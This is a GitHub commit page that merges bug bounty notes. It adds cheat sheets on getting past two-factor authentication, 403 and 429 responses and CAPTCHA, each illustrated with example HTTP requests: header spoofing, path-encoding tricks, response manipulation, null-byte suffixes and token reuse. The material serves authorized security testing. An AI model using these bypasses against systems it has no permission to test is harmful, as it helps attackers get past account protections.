Skip to content

Commit 4e7c188

Browse files
thevillagehackerthevillagehacker
authored
Merge pull request #6 from kdairatchi/consolidation-2025
Major consolidation: Merge all bug bounty repositories
2 parents 2329da0 + eaf8635 commit 4e7c188

File tree

117 files changed

+14108
-20012
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

117 files changed

+14108
-20012
lines changed

‎AllAboutBugBounty

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Subproject commit 0a16c9d981a270ba20730ad36475ed7ce7ceb79e

‎Bug_bounty_Notes

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Subproject commit 78dfddbd3c971e5e5d5bf21b49bc226c14bf2deb

‎Bypass/Bypass 2FA.md

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
# Bypass Two-Factor Authentication
2+
3+
1. Response manipulation
4+
5+
The response is
6+
```
7+
HTTP/1.1 404 Not Found
8+
...
9+
{"code": false}
10+
```
11+
Try this to bypass
12+
```
13+
HTTP/1.1 404 Not Found
14+
...
15+
{"code": true}
16+
```
17+
18+
2. Status code manipulation
19+
20+
The response is
21+
```
22+
HTTP/1.1 404 Not Found
23+
...
24+
{"code": false}
25+
```
26+
Try this to bypass
27+
```
28+
HTTP/1.1 200 OK
29+
...
30+
{"code": false}
31+
```
32+
33+
3. 2FA Code in Response
34+
35+
Always check the response!
36+
```
37+
POST /req-2fa/
38+
Host: vuln.com
39+
...
40+
email=victim@gmail.com
41+
```
42+
The response is
43+
```
44+
HTTP/1.1 200 OK
45+
...
46+
{"email": "victim@gmail.com", "code": "101010"}
47+
```
48+
49+
4. JS Files may contain info about the 2FA Code (Rare case)
50+
51+
5. Bruteforce the 2FA code
52+
53+
6. Missing 2FA Code integrity validation, code for any user account can be used
54+
```
55+
POST /2fa/
56+
Host: vuln.com
57+
...
58+
email=attacker@gmail.com&code=382923
59+
```
60+
```
61+
POST /2fa/
62+
Host: vuln.com
63+
...
64+
email=victim@gmail.com&code=382923
65+
```
66+
67+
7. No CSRF protection on disabling 2FA, also there is no auth confirmation.
68+
69+
8. 2FA gets disabled on password change/email change.
70+
71+
9. Clickjacking on 2FA disabling page, by iframing the 2FA Disabling page and lure the victim to disable the 2FA.
72+
73+
10. Enabling 2FA doesn't expire previously active sessions, if the session is already hijacked and there is a session timeout vuln.
74+
75+
11. 2FA code reusability, same code can be reused.
76+
77+
12. Enter code 000000
78+
```
79+
POST /2fa/
80+
Host: vuln.com
81+
...
82+
code=00000
83+
```
84+
85+
13. Enter code "null"
86+
```
87+
POST /2fa/
88+
Host: vuln.com
89+
...
90+
code=null
91+
```
92+
93+
## References
94+
* [Harsh Bothra](https://twitter.com/harshbothra_)
95+
* Other writeup

‎Bypass/Bypass 403.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# Bypass 403 (Forbidden)
2+
3+
1. Using "X-Original-URL" header
4+
```
5+
GET /admin HTTP/1.1
6+
Host: target.com
7+
```
8+
Try this to bypass
9+
```
10+
GET /anything HTTP/1.1
11+
Host: target.com
12+
X-Original-URL: /admin
13+
```
14+
15+
2. Appending **%2e** after the first slash
16+
```
17+
http://target.com/admin => 403
18+
```
19+
Try this to bypass
20+
```
21+
http://target.com/%2e/admin => 200
22+
```
23+
24+
3. Try add dot (.) slash (/) and semicolon (;) in the URL
25+
```
26+
http://target.com/admin => 403
27+
```
28+
Try this to bypass
29+
```
30+
http://target.com/secret/. => 200
31+
http://target.com//secret// => 200
32+
http://target.com/./secret/.. => 200
33+
http://target.com/;/secret => 200
34+
http://target.com/.;/secret => 200
35+
http://target.com//;//secret => 200
36+
```
37+
38+
4. Add "..;/" after the directory name
39+
```
40+
http://target.com/admin
41+
```
42+
Try this to bypass
43+
```
44+
http://target.com/admin..;/
45+
```
46+
47+
48+
5. Try to uppercase the alphabet in the url
49+
```
50+
http://target.com/admin
51+
```
52+
Try this to bypass
53+
```
54+
http://target.com/aDmIN
55+
```
56+
57+
6. Via Web Cache Poisoning
58+
```
59+
GET /anything HTTP/1.1
60+
Host: victim.com
61+
X­-Original-­URL: /admin
62+
```
63+
64+
## Tools
65+
* [Bypass-403 | Go script for bypassing 403 forbidden](https://github.com/daffainfo/bypass-403)
66+
67+
## References
68+
- [@iam_j0ker](https://twitter.com/iam_j0ker)
69+
- [Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-web)

‎Bypass/Bypass 429.md

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# Bypass 429 (Too Many Requests)
2+
3+
1. Try add some custom header
4+
```
5+
X-Forwarded-For : 127.0.0.1
6+
X-Forwarded-Host : 127.0.0.1
7+
X-Client-IP : 127.0.0.1
8+
X-Remote-IP : 127.0.0.1
9+
X-Remote-Addr : 127.0.0.1
10+
X-Host : 127.0.0.1
11+
```
12+
For example:
13+
```
14+
POST /ForgotPass.php HTTP/1.1
15+
Host: target.com
16+
X-Forwarded-For : 127.0.0.1
17+
...
18+
19+
email=victim@gmail.com
20+
```
21+
22+
2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
23+
```
24+
POST /ForgotPass.php HTTP/1.1
25+
Host: target.com
26+
...
27+
28+
email=victim@gmail.com%00
29+
```
30+
31+
3. Try changing user-agents, cookies and IP address
32+
```
33+
POST /ForgotPass.php HTTP/1.1
34+
Host: target.com
35+
Cookie: xxxxxxxxxx
36+
...
37+
38+
email=victim@gmail.com
39+
```
40+
Try this to bypass
41+
```
42+
POST /ForgotPass.php HTTP/1.1
43+
Host: target.com
44+
Cookie: aaaaaaaaaaaaa
45+
...
46+
47+
email=victim@gmail.com
48+
```
49+
50+
4. Add a random parameter on the last endpoint
51+
```
52+
POST /ForgotPass.php HTTP/1.1
53+
Host: target.com
54+
...
55+
56+
email=victim@gmail.com
57+
```
58+
Try this to bypass
59+
```
60+
POST /ForgotPass.php?random HTTP/1.1
61+
Host: target.com
62+
...
63+
64+
email=victim@gmail.com
65+
```
66+
67+
5. Add space after the parameter value
68+
```
69+
POST /api/forgotpass HTTP/1.1
70+
Host: target.com
71+
...
72+
73+
{"email":"victim@gmail.com"}
74+
```
75+
Try this to bypass
76+
```
77+
POST /api/forgotpass HTTP/1.1
78+
Host: target.com
79+
...
80+
81+
{"email":"victim@gmail.com "}
82+
```
83+
84+
## References
85+
* [Huzaifa Tahir](https://huzaifa-tahir.medium.com/methods-to-bypass-rate-limit-5185e6c67ecd)
86+
* [Gupta Bless](https://gupta-bless.medium.com/rate-limiting-and-its-bypassing-5146743b16be)

‎Bypass/Bypass Captcha.md

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
# Bypass Captcha (Google reCAPTCHA)
2+
3+
1. Try changing the request method, for example POST to GET
4+
```
5+
POST / HTTP 1.1
6+
Host: target.com
7+
...
8+
9+
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
10+
```
11+
12+
Change the method to GET
13+
```
14+
GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
15+
Host: target.com
16+
...
17+
```
18+
19+
2. Try remove the value of the captcha parameter
20+
```
21+
POST / HTTP 1.1
22+
Host: target.com
23+
...
24+
25+
_RequestVerificationToken=&_Username=daffa&_Password=test123
26+
```
27+
28+
3. Try reuse old captcha token
29+
```
30+
POST / HTTP 1.1
31+
Host: target.com
32+
...
33+
34+
_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123
35+
```
36+
37+
4. Convert JSON data to normal request parameter
38+
```
39+
POST / HTTP 1.1
40+
Host: target.com
41+
...
42+
43+
{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
44+
```
45+
Convert to normal request
46+
```
47+
POST / HTTP 1.1
48+
Host: target.com
49+
...
50+
51+
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
52+
```
53+
54+
5. Try custom header to bypass captcha
55+
```
56+
X-Originating-IP: 127.0.0.1
57+
X-Forwarded-For: 127.0.0.1
58+
X-Remote-IP: 127.0.0.1
59+
X-Remote-Addr: 127.0.0.1
60+
```
61+
62+
6. Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.
63+
```
64+
POST / HTTP 1.1
65+
Host: target.com
66+
...
67+
68+
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
69+
```
70+
Try this to bypass
71+
```
72+
POST / HTTP 1.1
73+
Host: target.com
74+
...
75+
76+
_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
77+
```

‎CONTRIBUTING.md

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
# Contributing to Bug-Hunting-Arsenal
2+
3+
Thank you for your interest in contributing to the Bug-Hunting-Arsenal! This repository thrives on community contributions.
4+
5+
## How to Contribute
6+
7+
### 1. Payload Contributions
8+
- Ensure payloads are tested and verified
9+
- Include context and usage examples
10+
- Follow existing naming conventions
11+
- Add to appropriate category directory
12+
13+
### 2. Tool Submissions
14+
- Include installation instructions
15+
- Provide usage examples
16+
- Test on multiple platforms
17+
- Document any dependencies
18+
19+
### 3. Methodology Updates
20+
- Share real-world testing experiences
21+
- Include step-by-step procedures
22+
- Add screenshots where helpful
23+
- Reference supporting materials
24+
25+
### 4. Documentation Improvements
26+
- Fix typos and formatting issues
27+
- Improve existing explanations
28+
- Add missing documentation
29+
- Enhance navigation and organization
30+
31+
## Submission Process
32+
33+
1. Fork the repository
34+
2. Create a feature branch
35+
3. Make your changes
36+
4. Test thoroughly
37+
5. Submit a pull request
38+
39+
## Quality Standards
40+
41+
- All submissions must be legal and ethical
42+
- Include proper attribution for external sources
43+
- Ensure content is original or properly licensed
44+
- Test all code and scripts before submission
45+
46+
## Code of Conduct
47+
48+
- Be respectful and professional
49+
- Focus on constructive feedback
50+
- Collaborate openly and inclusively
51+
- Maintain high ethical standards
52+
53+
Thank you for helping make this arsenal better for everyone!

0 commit comments

Comments
 (0)